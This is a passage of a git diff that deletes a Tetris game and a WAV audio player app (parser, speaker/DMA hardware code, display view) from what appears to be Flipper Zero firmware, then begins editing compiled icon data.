*)&newPiece->p; - if (pos[i].y >= FIELD_HEIGHT || tetris_state->playField[pos[i].y][pos[i].x] == true) { - return true; - } - } - return false; -} - -static void tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { - furi_assert(event_queue); - - TetrisEvent event = {.type = EventTypeTick}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); -} - -static void tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, bool wasDownMove) { - if(tetris_state->gameState == GameStateGameOver) - return; - - tetris_game_remove_curr_piece(tetris_state); - - if(wasDownMove) { - if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { - osTimerStop(tetris_state->timer); - - tetris_game_render_curr_piece(tetris_state); - uint8_t numLines = 0; - uint8_t lines[] = { 0,0,0,0 }; - - tetris_game_check_for_lines(tetris_state, lines, &numLines); - if(numLines > 0) { - for(int i = 0; i < numLines; i++) { - - // zero out row - for(int j = 0; j < FIELD_WIDTH; j++) { - tetris_state->playField[lines[i]][j] = false; - } - // move all above rows down - for(int k = lines[i]; k >= 0 ; k--) { - for(int m = 0; m < FIELD_WIDTH; m++) { - tetris_state->playField[k][m] = (k == 0) ? false : tetris_state->playField[k-1][m]; - } - } - } - - uint16_t oldNumLines = tetris_state->numLines; - tetris_state->numLines += numLines; - if((oldNumLines / 10) % 10 != (tetris_state->numLines / 10) % 10) { - tetris_state->fallSpeed -= 50; - } - } - - // Check for game over - Piece* spawnedPiece = &shapes[rand() % 7]; - if(!tetris_game_is_valid_pos(tetris_state, spawnedPiece->p)) { - tetris_state->gameState = GameStateGameOver; - } else { - memcpy(&tetris_state->currPiece, spawnedPiece, sizeof(tetris_state->currPiece)); - osTimerStart(tetris_state->timer, tetris_state->fallSpeed); - } - } - } - - if(tetris_game_is_valid_pos(tetris_state, newPiece->p)) { - memcpy(&tetris_state->currPiece, newPiece, sizeof(tetris_state->currPiece)); - } - - tetris_game_render_curr_piece(tetris_state); -} - - -int32_t tetris_game_app() { - srand(DWT->CYCCNT); - - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(TetrisEvent), NULL); - - TetrisState* tetris_state = malloc(sizeof(TetrisState)); - - ValueMutex state_mutex; - if(!init_mutex(&state_mutex, tetris_state, sizeof(TetrisState))) { - FURI_LOG_E("TetrisGame", "cannot create mutex\r\n"); - free(tetris_state); - return 255; - } - - // Not doing this eventually causes issues with TimerSvc due to not sleeping/yielding enough in this task - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - TaskHandle_t curr_task = xTaskGetHandle("Tetris Game"); - - uint32_t origTimerPrio = uxTaskPriorityGet(timer_task); - uint32_t myPrio = uxTaskPriorityGet(curr_task); - vTaskPrioritySet(timer_task, myPrio + 1); - - ViewPort* view_port = view_port_alloc(); - view_port_set_orientation(view_port, ViewPortOrientationVertical); - view_port_draw_callback_set(view_port, tetris_game_render_callback, &state_mutex); - view_port_input_callback_set(view_port, tetris_game_input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - tetris_state->timer = osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); - tetris_game_init_state(tetris_state); - - TetrisEvent event; - - Piece *newPiece = malloc(sizeof(Piece)); - uint8_t downRepeatCounter = 0; - - for(bool processing = true; processing;) { - // This 10U implicitly sets the game loop speed. downRepeatCounter relies on this value - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 10U); - - TetrisState* tetris_state = (TetrisState*)acquire_mutex_block(&state_mutex); - - memcpy(newPiece, &tetris_state->currPiece, sizeof(tetris_state->currPiece)); - bool wasDownMove = false; - - if(!furi_hal_gpio_read(&gpio_button_right)) { - if(downRepeatCounter > 3) { - for (int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; - } - downRepeatCounter = 0; - wasDownMove = true; - } else { - downRepeatCounter++; - } - } - - if(event_status == osOK) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress || event.input.type == InputTypeLong || event.input.type == InputTypeRepeat) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - for (int i = 0; i < 4; i++) { - newPiece->p[i].x += 1; - } - break; - case InputKeyLeft: - for (int i = 0; i < 4; i++) { - newPiece->p[i].x -= 1; - } - break; - case InputKeyOk: - if(tetris_state->gameState == GameStatePlaying) { - tetris_game_remove_curr_piece(tetris_state); - tetris_game_try_rotation(tetris_state, newPiece); - tetris_game_render_curr_piece(tetris_state); - } else { - tetris_game_init_state(tetris_state); - } - break; - case InputKeyBack: - processing = false; - break; - } - } - } else if(event.type == EventTypeTick) { - // TODO: This is inverted. it returns true when the button is not pressed. - // see macro in input.c and do that - if(furi_hal_gpio_read(&gpio_button_right)) { - for (int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; - } - wasDownMove = true; - } - } - } - - tetris_game_process_step(tetris_state, newPiece, wasDownMove); - - view_port_update(view_port); - release_mutex(&state_mutex, tetris_state); - } - - osTimerDelete(tetris_state->timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - osMessageQueueDelete(event_queue); - delete_mutex(&state_mutex); - vTaskPrioritySet(timer_task, origTimerPrio); - free(newPiece); - free(tetris_state); - - return 0; -} diff --git a/applications/wav_player/wav_parser.c b/applications/wav_player/wav_parser.c deleted file mode 100644 index c2897706c..000000000 --- a/applications/wav_player/wav_parser.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "wav_parser.h" - -#define TAG "WavParser" - -const char* format_text(FormatTag tag) { - switch(tag) { - case FormatTagPCM: - return "PCM"; - case FormatTagIEEE_FLOAT: - return "IEEE FLOAT"; - default: - return "Unknown"; - } -}; - -struct WavParser { - WavHeaderChunk header; - WavFormatChunk format; - WavDataChunk data; - size_t wav_data_start; - size_t wav_data_end; -}; - -WavParser* wav_parser_alloc() { - return malloc(sizeof(WavParser)); -} - -void wav_parser_free(WavParser* parser) { - free(parser); -} - -bool wav_parser_parse(WavParser* parser, Stream* stream) { - stream_read(stream, (uint8_t*)&parser->header, sizeof(WavHeaderChunk)); - stream_read(stream, (uint8_t*)&parser->format, sizeof(WavFormatChunk)); - stream_read(stream, (uint8_t*)&parser->data, sizeof(WavDataChunk)); - - if(memcmp(parser->header.riff, "RIFF", 4) != 0 || - memcmp(parser->header.wave, "WAVE", 4) != 0) { - FURI_LOG_E(TAG, "WAV: wrong header"); - return false; - } - - if(memcmp(parser->format.fmt, "fmt ", 4) != 0) { - FURI_LOG_E(TAG, "WAV: wrong format"); - return false; - } - - if(parser->format.tag != FormatTagPCM || memcmp(parser->data.data, "data", 4) != 0) { - FURI_LOG_E( - TAG, - "WAV: non-PCM format %u, next '%lu'", - parser->format.tag, - (uint32_t)parser->data.data); - return false; - } - - FURI_LOG_I( - TAG, - "Format tag: %s, ch: %u, smplrate: %lu, bps: %lu, bits: %u", - format_text(parser->format.tag), - parser->format.channels, - parser->format.sample_rate, - parser->format.byte_per_sec, - parser->format.bits_per_sample); - - parser->wav_data_start = stream_tell(stream); - parser->wav_data_end = parser->wav_data_start + parser->data.size; - - FURI_LOG_I(TAG, "data: %u - %u", parser->wav_data_start, parser->wav_data_end); - - return true; -} - -size_t wav_parser_get_data_start(WavParser* parser) { - return parser->wav_data_start; -} - -size_t wav_parser_get_data_end(WavParser* parser) { - return parser->wav_data_end; -} - -size_t wav_parser_get_data_len(WavParser* parser) { - return parser->wav_data_end - parser->wav_data_start; -} diff --git a/applications/wav_player/wav_parser.h b/applications/wav_player/wav_parser.h deleted file mode 100644 index f50c48b3f..000000000 --- a/applications/wav_player/wav_parser.h +++ /dev/null @@ -1,51 +0,0 @@ -#pragma once -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - FormatTagPCM = 0x0001, - FormatTagIEEE_FLOAT = 0x0003, -} FormatTag; - -typedef struct { - uint8_t riff[4]; - uint32_t size; - uint8_t wave[4]; -} WavHeaderChunk; - -typedef struct { - uint8_t fmt[4]; - uint32_t size; - uint16_t tag; - uint16_t channels; - uint32_t sample_rate; - uint32_t byte_per_sec; - uint16_t block_align; - uint16_t bits_per_sample; -} WavFormatChunk; - -typedef struct { - uint8_t data[4]; - uint32_t size; -} WavDataChunk; - -typedef struct WavParser WavParser; - -WavParser* wav_parser_alloc(); - -void wav_parser_free(WavParser* parser); - -bool wav_parser_parse(WavParser* parser, Stream* stream); - -size_t wav_parser_get_data_start(WavParser* parser); - -size_t wav_parser_get_data_end(WavParser* parser); - -size_t wav_parser_get_data_len(WavParser* parser); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player.c b/applications/wav_player/wav_player.c deleted file mode 100644 index e86acf5b2..000000000 --- a/applications/wav_player/wav_player.c +++ /dev/null @@ -1,303 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "wav_player_hal.h" -#include "wav_parser.h" -#include "wav_player_view.h" - -#define TAG "WavPlayer" - -static bool open_wav_stream(Storage* storage, Stream* stream) { - DialogsApp* dialogs = furi_record_open("dialogs"); - bool result = false; - size_t name_size = 255; - char* name_buffer = malloc(name_size); - string_t path; - string_init(path); - - bool ret = - dialog_file_select_show(dialogs, "/ext/wav_player", ".wav", name_buffer, name_size, NULL); - furi_record_close("dialogs"); - - if(ret) { - string_printf(path, "%s/%s.%s", "/ext/wav_player", name_buffer, "wav"); - if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Cannot open file \"%s\"", string_get_cstr(path)); - } else { - result = true; - } - } - - string_clear(path); - free(name_buffer); - return result; -} - -typedef enum { - WavPlayerEventHalfTransfer, - WavPlayerEventFullTransfer, - WavPlayerEventCtrlVolUp, - WavPlayerEventCtrlVolDn, - WavPlayerEventCtrlMoveL, - WavPlayerEventCtrlMoveR, - WavPlayerEventCtrlOk, - WavPlayerEventCtrlBack, -} WavPlayerEventType; - -typedef struct { - WavPlayerEventType type; -} WavPlayerEvent; - -static void wav_player_dma_isr(void* ctx) { - osMessageQueueId_t event_queue = ctx; - - // half of transfer - if(LL_DMA_IsActiveFlag_HT1(DMA1)) { - LL_DMA_ClearFlag_HT1(DMA1); - // fill first half of buffer - WavPlayerEvent event = {.type = WavPlayerEventHalfTransfer}; - osMessageQueuePut(event_queue, &event, 0, 0); - } - - // transfer complete - if(LL_DMA_IsActiveFlag_TC1(DMA1)) { - LL_DMA_ClearFlag_TC1(DMA1); - // fill second half of buffer - WavPlayerEvent event = {.type = WavPlayerEventFullTransfer}; - osMessageQueuePut(event_queue, &event, 0, 0); - } -} - -typedef struct { - Storage* storage; - Stream* stream; - WavParser* parser; - uint16_t* sample_buffer; - uint8_t* tmp_buffer; - - size_t samples_count_half; - size_t samples_count; - - osMessageQueueId_t queue; - - float volume; - bool play; - - WavPlayerView* view; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notification; -} WavPlayerApp; - -static WavPlayerApp* app_alloc() { - WavPlayerApp* app = malloc(sizeof(WavPlayerApp)); - app->samples_count_half = 1024 * 4; - app->samples_count = app->samples_count_half * 2; - app->storage = furi_record_open("storage"); - app->stream = file_stream_alloc(app->storage); - app->parser = wav_parser_alloc(); - app->sample_buffer = malloc(sizeof(uint16_t) * app->samples_count); - app->tmp_buffer = malloc(sizeof(uint8_t) * app->samples_count); - app->queue = osMessageQueueNew(10, sizeof(WavPlayerEvent), NULL); - - app->volume = 10.0f; - app->play = true; - - app->gui = furi_record_open("gui"); - app->view_dispatcher = view_dispatcher_alloc(); - app->view = wav_player_view_alloc(); - - view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->notification = furi_record_open("notification"); - notification_message(app->notification, &sequence_display_backlight_enforce_on); - - return app; -} - -static void app_free(WavPlayerApp* app) { - view_dispatcher_remove_view(app->view_dispatcher, 0); - view_dispatcher_free(app->view_dispatcher); - wav_player_view_free(app->view); - furi_record_close("gui"); - - osMessageQueueDelete(app->queue); - free(app->tmp_buffer); - free(app->sample_buffer); - wav_parser_free(app->parser); - stream_free(app->stream); - furi_record_close("storage"); - - notification_message(app->notification, &sequence_display_backlight_enforce_auto); - furi_record_close("notification"); - free(app); -} - -// TODO: that works only with 8-bit 2ch audio -static bool fill_data(WavPlayerApp* app, size_t index) { - uint16_t* sample_buffer_start = &app->sample_buffer[index]; - size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); - - for(size_t i = count; i < app->samples_count; i++) { - app->tmp_buffer[i] = 0; - } - - for(size_t i = 0; i < app->samples_count; i += 2) { - float data = app->tmp_buffer[i]; - data -= UINT8_MAX / 2; // to signed - data /= UINT8_MAX / 2; // scale -1..1 - - data *= app->volume; // volume - data = tanhf(data); // hyperbolic tangent limiter - - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i / 2] = data; - } - - wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); - - return count != app->samples_count; -} - -static void ctrl_callback(WavPlayerCtrl ctrl, void* ctx) { - osMessageQueueId_t event_queue = ctx; - WavPlayerEvent event; - - switch(ctrl) { - case WavPlayerCtrlVolUp: - event.type = WavPlayerEventCtrlVolUp; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlVolDn: - event.type = WavPlayerEventCtrlVolDn; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlMoveL: - event.type = WavPlayerEventCtrlMoveL; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlMoveR: - event.type = WavPlayerEventCtrlMoveR; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlOk: - event.type = WavPlayerEventCtrlOk; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - case WavPlayerCtrlBack: - event.type = WavPlayerEventCtrlBack; - osMessageQueuePut(event_queue, &event, 0, 0); - break; - default: - break; - } -} - -static void app_run(WavPlayerApp* app) { - if(!open_wav_stream(app->storage, app->stream)) return; - if(!wav_parser_parse(app->parser, app->stream)) return; - - wav_player_view_set_volume(app->view, app->volume); - wav_player_view_set_start(app->view, wav_parser_get_data_start(app->parser)); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - wav_player_view_set_end(app->view, wav_parser_get_data_end(app->parser)); - wav_player_view_set_play(app->view, app->play); - - wav_player_view_set_context(app->view, app->queue); - wav_player_view_set_ctrl_callback(app->view, ctrl_callback); - - bool eof = fill_data(app, 0); - eof = fill_data(app, app->samples_count_half); - - wav_player_speaker_init(); - wav_player_dma_init((uint32_t)app->sample_buffer, app->samples_count); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, wav_player_dma_isr, app->queue); - - wav_player_dma_start(); - wav_player_speaker_start(); - - WavPlayerEvent event; - - while(1) { - if(osMessageQueueGet(app->queue, &event, NULL, osWaitForever) == osOK) { - if(event.type == WavPlayerEventHalfTransfer) { - eof = fill_data(app, 0); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - if(eof) { - stream_seek( - app->stream, - wav_parser_get_data_start(app->parser), - StreamOffsetFromStart); - } - - } else if(event.type == WavPlayerEventFullTransfer) { - eof = fill_data(app, app->samples_count_half); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - if(eof) { - stream_seek( - app->stream, - wav_parser_get_data_start(app->parser), - StreamOffsetFromStart); - } - } else if(event.type == WavPlayerEventCtrlVolUp) { - if(app->volume < 9.9) app->volume += 0.2; - wav_player_view_set_volume(app->view, app->volume); - } else if(event.type == WavPlayerEventCtrlVolDn) { - if(app->volume > 0.01) app->volume -= 0.2; - wav_player_view_set_volume(app->view, app->volume); - } else if(event.type == WavPlayerEventCtrlMoveL) { - int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); - seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); - stream_seek(app->stream, -seek, StreamOffsetFromCurrent); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - } else if(event.type == WavPlayerEventCtrlMoveR) { - int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); - seek = MIN(seek, wav_parser_get_data_len(app->parser) / 100); - stream_seek(app->stream, seek, StreamOffsetFromCurrent); - wav_player_view_set_current(app->view, stream_tell(app->stream)); - } else if(event.type == WavPlayerEventCtrlOk) { - app->play = !app->play; - wav_player_view_set_play(app->view, app->play); - - if(!app->play) { - wav_player_speaker_stop(); - } else { - wav_player_speaker_start(); - } - } else if(event.type == WavPlayerEventCtrlBack) { - break; - } - } - } - - wav_player_speaker_stop(); - wav_player_dma_stop(); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); -} - -int32_t wav_player_app(void* p) { - WavPlayerApp* app = app_alloc(); - app_run(app); - app_free(app); - return 0; -} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.c b/applications/wav_player/wav_player_hal.c deleted file mode 100644 index ad0c019be..000000000 --- a/applications/wav_player/wav_player_hal.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "wav_player_hal.h" -#include -#include - -#define FURI_HAL_SPEAKER_TIMER TIM16 -#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 -#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 - -void wav_player_speaker_init() { - LL_TIM_InitTypeDef TIM_InitStruct = {0}; - TIM_InitStruct.Prescaler = 4; - TIM_InitStruct.Autoreload = 255; - LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); - - LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); -} - -void wav_player_speaker_start() { - LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void wav_player_speaker_stop() { - LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void wav_player_dma_init(uint32_t address, size_t size) { - uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); - - LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetDataLength(DMA_INSTANCE, size); - - LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); - LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); - LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); - LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); - LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); - LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); - LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); - - LL_DMA_EnableIT_TC(DMA_INSTANCE); - LL_DMA_EnableIT_HT(DMA_INSTANCE); -} - -void wav_player_dma_start() { - LL_DMA_EnableChannel(DMA_INSTANCE); - LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); -} - -void wav_player_dma_stop() { - LL_DMA_DisableChannel(DMA_INSTANCE); -} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.h b/applications/wav_player/wav_player_hal.h deleted file mode 100644 index 124f51406..000000000 --- a/applications/wav_player/wav_player_hal.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -void wav_player_speaker_init(); - -void wav_player_speaker_start(); - -void wav_player_speaker_stop(); - -void wav_player_dma_init(uint32_t address, size_t size); - -void wav_player_dma_start(); - -void wav_player_dma_stop(); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.c b/applications/wav_player/wav_player_view.c deleted file mode 100644 index 8068bf351..000000000 --- a/applications/wav_player/wav_player_view.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "wav_player_view.h" - -#define DATA_COUNT 116 - -struct WavPlayerView { - View* view; - WavPlayerCtrlCallback callback; - void* context; -}; - -typedef struct { - bool play; - float volume; - size_t start; - size_t end; - size_t current; - uint8_t data[DATA_COUNT]; -} WavPlayerViewModel; - -float map(float x, float in_min, float in_max, float out_min, float out_max) { - return (x - in_min) * (out_max - out_min + 1) / (in_max - in_min + 1) + out_min; -} - -static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { - WavPlayerViewModel* model = _model; - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - uint8_t x_pos = 0; - uint8_t y_pos = 0; - - // volume - x_pos = 124; - y_pos = 0; - const float volume = (64 / 10.0f) * model->volume; - canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); - canvas_draw_box(canvas, x_pos, y_pos + (64 - volume), 4, volume); - - // play / pause - x_pos = 58; - y_pos = 55; - if(model->play) { - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 8, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 8, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - } else { - canvas_draw_box(canvas, x_pos, y_pos, 3, 9); - canvas_draw_box(canvas, x_pos + 4, y_pos, 3, 9); - } - - x_pos = 78; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 82; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 40; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - x_pos = 44; - y_pos = 55; - canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); - canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); - - // len - x_pos = 4; - y_pos = 47; - const uint8_t play_len = 116; - uint8_t play_pos = map(model->current, model->start, model->end, 0, play_len - 4); - - canvas_draw_frame(canvas, x_pos, y_pos, play_len, 4); - canvas_draw_box(canvas, x_pos + play_pos, y_pos - 2, 4, 8); - canvas_draw_box(canvas, x_pos, y_pos, play_pos, 4); - - // osc - x_pos = 4; - y_pos = 0; - for(size_t i = 1; i < DATA_COUNT; i++) { - canvas_draw_line(canvas, x_pos + i - 1, model->data[i - 1], x_pos + i, model->data[i]); - } -} - -static bool wav_player_view_input_callback(InputEvent* event, void* context) { - WavPlayerView* wav_player_view = context; - bool consumed = false; - - if(wav_player_view->callback) { - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - if(event->key == InputKeyUp) { - wav_player_view->callback(WavPlayerCtrlVolUp, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyDown) { - wav_player_view->callback(WavPlayerCtrlVolDn, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyLeft) { - wav_player_view->callback(WavPlayerCtrlMoveL, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyRight) { - wav_player_view->callback(WavPlayerCtrlMoveR, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyOk) { - wav_player_view->callback(WavPlayerCtrlOk, wav_player_view->context); - consumed = true; - } else if(event->key == InputKeyBack) { - wav_player_view->callback(WavPlayerCtrlBack, wav_player_view->context); - consumed = true; - } - } - } - - return consumed; -} - -WavPlayerView* wav_player_view_alloc() { - WavPlayerView* wav_view = malloc(sizeof(WavPlayerView)); - wav_view->view = view_alloc(); - view_set_context(wav_view->view, wav_view); - view_allocate_model(wav_view->view, ViewModelTypeLocking, sizeof(WavPlayerViewModel)); - view_set_draw_callback(wav_view->view, wav_player_view_draw_callback); - view_set_input_callback(wav_view->view, wav_player_view_input_callback); - - return wav_view; -} - -void wav_player_view_free(WavPlayerView* wav_view) { - furi_assert(wav_view); - view_free(wav_view->view); - free(wav_view); -} - -View* wav_player_view_get_view(WavPlayerView* wav_view) { - furi_assert(wav_view); - return wav_view->view; -} - -void wav_player_view_set_volume(WavPlayerView* wav_view, float volume) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->volume = volume; - return true; - }); -} - -void wav_player_view_set_start(WavPlayerView* wav_view, size_t start) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->start = start; - return true; - }); -} - -void wav_player_view_set_end(WavPlayerView* wav_view, size_t end) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->end = end; - return true; - }); -} - -void wav_player_view_set_current(WavPlayerView* wav_view, size_t current) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->current = current; - return true; - }); -} - -void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - model->play = play; - return true; - }); -} - -void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { - furi_assert(wav_view); - with_view_model( - wav_view->view, (WavPlayerViewModel * model) { - size_t inc = (data_count / DATA_COUNT) - 1; - - for(size_t i = 0; i < DATA_COUNT; i++) { - model->data[i] = *data / 6; - if(model->data[i] > 42) model->data[i] = 42; - data += inc; - } - return true; - }); -} - -void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback) { - furi_assert(wav_view); - wav_view->callback = callback; -} - -void wav_player_view_set_context(WavPlayerView* wav_view, void* context) { - furi_assert(wav_view); - wav_view->context = context; -} \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.h b/applications/wav_player/wav_player_view.h deleted file mode 100644 index 246aeaf3e..000000000 --- a/applications/wav_player/wav_player_view.h +++ /dev/null @@ -1,45 +0,0 @@ -#pragma once -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct WavPlayerView WavPlayerView; - -typedef enum { - WavPlayerCtrlVolUp, - WavPlayerCtrlVolDn, - WavPlayerCtrlMoveL, - WavPlayerCtrlMoveR, - WavPlayerCtrlOk, - WavPlayerCtrlBack, -} WavPlayerCtrl; - -typedef void (*WavPlayerCtrlCallback)(WavPlayerCtrl ctrl, void* context); - -WavPlayerView* wav_player_view_alloc(); - -void wav_player_view_free(WavPlayerView* wav_view); - -View* wav_player_view_get_view(WavPlayerView* wav_view); - -void wav_player_view_set_volume(WavPlayerView* wav_view, float volume); - -void wav_player_view_set_start(WavPlayerView* wav_view, size_t start); - -void wav_player_view_set_end(WavPlayerView* wav_view, size_t end); - -void wav_player_view_set_current(WavPlayerView* wav_view, size_t current); - -void wav_player_view_set_play(WavPlayerView* wav_view, bool play); - -void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); - -void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); - -void wav_player_view_set_context(WavPlayerView* wav_view, void* context); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index e2ac18adc..fb125095a 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -325,16 +325,6 @@ const uint8_t _A_Bluetooth_14_4[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x0 const uint8_t _A_Bluetooth_14_5[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x00,0x94,0x04,0x58,0x08,0x30,0x09,0x30,0x09,0x58,0x08,0x94,0x04,0x92,0x00,0x51,0x00,0x30,0x00,0x10,0x00,}; const uint8_t* const _A_Bluetooth_14[] = {_A_Bluetooth_14_0,_A_Bluetooth_14_1,_A_Bluetooth_14_2,_A_Bluetooth_14_3,_A_Bluetooth_14_4,_A_Bluetooth_14_5}; -const uint8_t _A_Clock_14_0[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x49,0x12,0x41,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_1[] = 